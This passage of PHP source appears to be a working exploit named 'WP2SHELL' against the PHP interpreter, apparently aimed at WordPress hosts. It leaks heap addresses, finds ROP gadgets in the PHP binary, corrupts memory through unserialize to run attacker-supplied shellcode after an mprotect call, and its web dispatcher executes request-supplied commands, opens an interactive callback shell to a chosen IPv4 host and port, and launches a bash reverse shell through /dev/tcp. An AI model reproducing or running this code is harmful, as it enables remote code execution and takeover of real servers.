$encoded = isset($_REQUEST['wpr_pic']) ? (string) $_REQUEST['wpr_pic'] : '';
if ($encoded === '') {
die("[-] WP2SHELL_ROP_ERROR:missing payload\n");
}
$payload = base64_decode($encoded, true);
if ($payload === false) {
die("[-] WP2SHELL_ROP_ERROR:invalid base64 payload\n");
}
$length = strlen($payload);
if ($length < 1) {
die("[-] WP2SHELL_ROP_ERROR:empty payload\n");
}
if ($length > 0x10000) {
die("[-] WP2SHELL_ROP_ERROR:payload too large\n");
}
return $payload;
}
private function run_pic_rop($heap_addr, $image, $tags, $symbols, $gadgets, $pic) {
$mprotect = $this->resolve_jump_slot($image, $tags, $symbols, 'mprotect');
$php_printf = $this->resolve_defined_symbol($image, $symbols, 'php_printf');
$bailout = $this->resolve_defined_symbol($image, $symbols, '_zend_bailout');
if ($mprotect === false || $php_printf === false || $bailout === false)
die("[-] Cannot resolve mprotect/php_printf/_zend_bailout\n");
printf("[+] mprotect target: 0x%x\n", $mprotect);
printf("[+] php_printf: 0x%x\n", $php_printf);
printf("[+] _zend_bailout: 0x%x\n", $bailout);
$fake_ht_off = 0x40;
$chain_off = 0x100;
$payload_off = 0x300;
$message = "[+] WP2SHELL_ROP_RETURNED\n\x00";
$message_off = ($payload_off + strlen($pic) + 0x1f) & ~0x1f;
$marker_off = ($message_off + strlen($message) + 0x3f) & ~0x3f;
$blob_size = max(0x800, ($marker_off + 0x100 + 0xff) & ~0xff);
if ($blob_size > 0x20000) {
die("[-] WP2SHELL_ROP_ERROR:blob too large\n");
}
$prefix = "WP2SHELL_SERIALIZABLE_ROP\x00";
$marker = random_bytes(16);
$GLOBALS['_rop_blob'] = $prefix . str_repeat("\x00", $blob_size - strlen($prefix));
$this->patch_rop_blob($marker_off, $marker);
$blob_addr = $this->find_bytes_in_heap(
$heap_addr,
$marker,
$marker_off,
$prefix
);
if ($blob_addr === false) die("[-] Cannot locate the ROP blob in the current heap\n");
printf("[+] Controlled blob: 0x%x\n", $blob_addr);
$fake_ht = $blob_addr + $fake_ht_off;
$chain_addr = $blob_addr + $chain_off;
$payload_addr = $blob_addr + $payload_off;
$message_addr = $blob_addr + $message_off;
$page = $blob_addr & ~0xfff;
$protect_len = (($blob_addr + $blob_size + 0xfff) & ~0xfff) - $page;
$this->patch_rop_blob($payload_off, $pic);
$this->patch_rop_blob($message_off, $message);
$chain = [];
if (!$this->append_rop_call($chain, $chain_addr, $mprotect, [
'rdi' => $page,
'rsi' => $protect_len,
'rdx' => 7,
], $gadgets)) die("[-] Cannot construct mprotect call\n");
$chain[] = $payload_addr;
if (!$this->append_rop_call($chain, $chain_addr, $mprotect, [
'rdi' => $page,
'rsi' => $protect_len,
'rdx' => 3,
], $gadgets)) die("[-] Cannot construct mprotect restore call\n");
if (!$this->append_rop_call($chain, $chain_addr, $php_printf, [
'rdi' => $message_addr,
'rax' => 0,
], $gadgets)) die("[-] Cannot construct php_printf call\n");
if (!$this->append_rop_call($chain, $chain_addr, $bailout, [
'rdi' => 0,
'rsi' => 0,
], $gadgets)) die("[-] Cannot construct bailout call\n");
$this->patch_rop_blob($chain_off, $this->pack_chain($chain));
// The first pivot uses RBP=fake HashTable in zend_hash_destroy. The
// second pivot consumes arData as the new RSP and starts at chain_addr.
$ht = pack('V2', 1, 7);
$ht .= pack('P', $gadgets['pop_rsp_ret']);
$ht .= pack('P', $chain_addr);
$ht .= pack('V2', 1, 1);
$ht .= pack('V2', 1, 0);
$ht .= pack('P', 0);
$ht .= pack('P', $gadgets['leave_ret']);
$this->patch_rop_blob($fake_ht_off, $ht);
printf("[+] Fake HashTable: 0x%x\n", $fake_ht);
printf("[+] ROP stack: 0x%x (%d qwords)\n", $chain_addr, count($chain));
printf("[+] PIC buffer: 0x%x (%d bytes)\n", $payload_addr, strlen($pic));
printf("[+] mprotect: 0x%x + 0x%x, RWX\n", $page, $protect_len);
printf("[+] Payload SHA-256: %s\n", hash('sha256', $pic));
echo "[*] WP2SHELL_ROP_DISPATCHING\n";
wp2shell_snapshot_rop_log();
@ob_flush();
@flush();
$spray = $this->build_spray_isarray($fake_ht);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) die("[-] Final unserialize failed\n");
$idx = self::SPRAY_COUNT + 1;
if (!is_array($result[$idx])) die("[-] Expected the forged array zval\n");
// R:N produces an IS_REFERENCE wrapper. Replacing the referenced value
// destroys the forged inner IS_ARRAY immediately; unsetting only the
// outer element would merely decrement the reference container.
$result[$idx] = null;
die("[-] ROP chain returned unexpectedly\n");
}
private function dispatch_web($system) {
$wpr_mode = isset($_REQUEST['wpr_mode']) ? (string) $_REQUEST['wpr_mode'] : '';
$wpr_payload_b64 = isset($_REQUEST['wpr_payload']) ? (string) $_REQUEST['wpr_payload'] : '';
$wpr_payload = base64_decode($wpr_payload_b64, true);
if ($wpr_payload === false) {
printf("\n[-] WP2SHELL_SAFE_ERROR:invalid base64 action payload\n");
} elseif ($wpr_mode === 'cmd') {
if ($wpr_payload === '') {
printf("\n[-] WP2SHELL_SAFE_ERROR:empty command\n");
} else {
printf("\n[+] WP2SHELL_SAFE_CMD_BEGIN\n");
$system($wpr_payload);
printf("\n[+] WP2SHELL_SAFE_CMD_END\n");
}
} elseif ($wpr_mode === 'cb' || $wpr_mode === 'bash_cb') {
$wpr_callback = explode(':', $wpr_payload, 2);
$wpr_host = count($wpr_callback) === 2 ? $wpr_callback[0] : '';
$wpr_port_text = count($wpr_callback) === 2 ? $wpr_callback[1] : '';
$wpr_port = (int) $wpr_port_text;
$wpr_valid_host = filter_var(
$wpr_host,
FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4
) !== false;
$wpr_valid_port = preg_match('/\A[0-9]+\z/D', $wpr_port_text) === 1
&& $wpr_port >= 1
&& $wpr_port <= 65535;
if (!$wpr_valid_host || !$wpr_valid_port) {
printf("\n[-] WP2SHELL_SAFE_ERROR:callback must be IPv4:port\n");
} elseif ($wpr_mode === 'cb') {
ignore_user_abort(true);
set_time_limit(0);
printf("\n[*] WP2SHELL_SAFE_CB_CONNECTING:%s:%d\n", $wpr_host, $wpr_port);
$wpr_errno = 0;
$wpr_errstr = '';
$wpr_socket = @fsockopen(
$wpr_host,
$wpr_port,
$wpr_errno,
$wpr_errstr,
10
);
if ($wpr_socket === false) {
printf(
"\n[-] WP2SHELL_SAFE_ERROR:fsockopen failed (%d: %s)\n",
$wpr_errno,
$wpr_errstr
);
} else {
stream_set_blocking($wpr_socket, true);
fwrite(
$wpr_socket,
sprintf(
"WP2SHELL PHP callback connected (%s; PHP %s; %s)\n",
get_current_user(),
PHP_VERSION,
PHP_SAPI
)
);
while (!feof($wpr_socket)) {
fwrite($wpr_socket, "php-safe> ");
$wpr_line = fgets($wpr_socket, 8192);
if ($wpr_line === false) {
break;
}
$wpr_line = rtrim($wpr_line, "\r\n");
if ($wpr_line === 'exit' || $wpr_line === 'quit') {
break;
}
if ($wpr_line === '') {
continue;
}
ob_start();
$system($wpr_line . ' 2>&1');
$wpr_output = ob_get_clean();
if ($wpr_output === false) {
$wpr_output = '';
}
fwrite($wpr_socket, $wpr_output);
if ($wpr_output === '' || substr($wpr_output, -1) !== "\n") {
fwrite($wpr_socket, "\n");
}
}
fclose($wpr_socket);
printf(
"\n[+] WP2SHELL_SAFE_CB_CLOSED:%s:%d\n",
$wpr_host,
$wpr_port
);
}
} else {
$wpr_command = sprintf(
"/bin/bash -c 'exec /bin/bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &",
$wpr_host,
$wpr_port
);
printf(
"\n[*] WP2SHELL_SAFE_BASH_CB_LAUNCH:%s:%d\n",
$wpr_host,
$wpr_port
);
$system($wpr_command);
printf(
"\n[+] WP2SHELL_SAFE_BASH_CB_DISPATCHED:%s:%d\n",
$wpr_host,
$wpr_port
);
}
} else {
printf("\n[-] WP2SHELL_SAFE_ERROR:unknown action mode\n");
}
}
public function run() {
printf("[+] PHP %s / %s\n", PHP_VERSION, php_uname('m'));
echo "[*] Leaking a heap pointer\n";
$heap_addr = $this->heap_leak();
printf("[+] Heap pointer: 0x%x\n", $heap_addr);
echo "[*] Finding Closure metadata\n";
$ptrs = $this->find_object_pointers($heap_addr);
if ($ptrs === false) die("[-] Cannot find object pointers\n");
[$ce_closure, $closure_handlers] = $ptrs;
echo "[*] Locating executor globals\n";
$ft = $this->find_function_table_ht($closure_handlers, $heap_addr);
if ($ft === false) die("[-] Cannot find function_table HT\n");
$combined = $ft['delta'] + $ft['ft_off'];
$st_addr = $this->find_symbol_table($closure_handlers, $combined, $heap_addr);
if ($st_addr === false)
echo "[!] Direct symbol lookup unavailable\n";
echo "[*] Resolving the live PHP ELF image\n";
$anchor = $this->enabled_handler($ft['arData'], $ft['nTableMask']);
if ($anchor === false) die("[-] Cannot obtain an enabled handler anchor\n");
$image = $this->find_php_elf($anchor);
if ($image === false) die("[-] Cannot validate the PHP ELF base\n");
$tags = $this->dynamic_tags($image);
if ($tags === false) die("[-] Cannot parse PT_DYNAMIC\n");
$symbols = $this->dynamic_symbols($image, $tags);
if ($symbols === false) die("[-] Cannot parse the dynamic symbol tables\n");
echo "[*] Scanning executable PT_LOAD segments for gadgets\n";
$gadgets = $this->scan_gadgets($image);
if ($gadgets === false) die("[-] A required runtime gadget is unavailable\n");
$pic = $this->load_pic_payload();
echo "[*] Constructing the PIC/ROP payload chain\n";
$this->run_pic_rop($heap_addr, $image, $tags, $symbols, $gadgets, $pic);
}
}
(new Exploit)->run();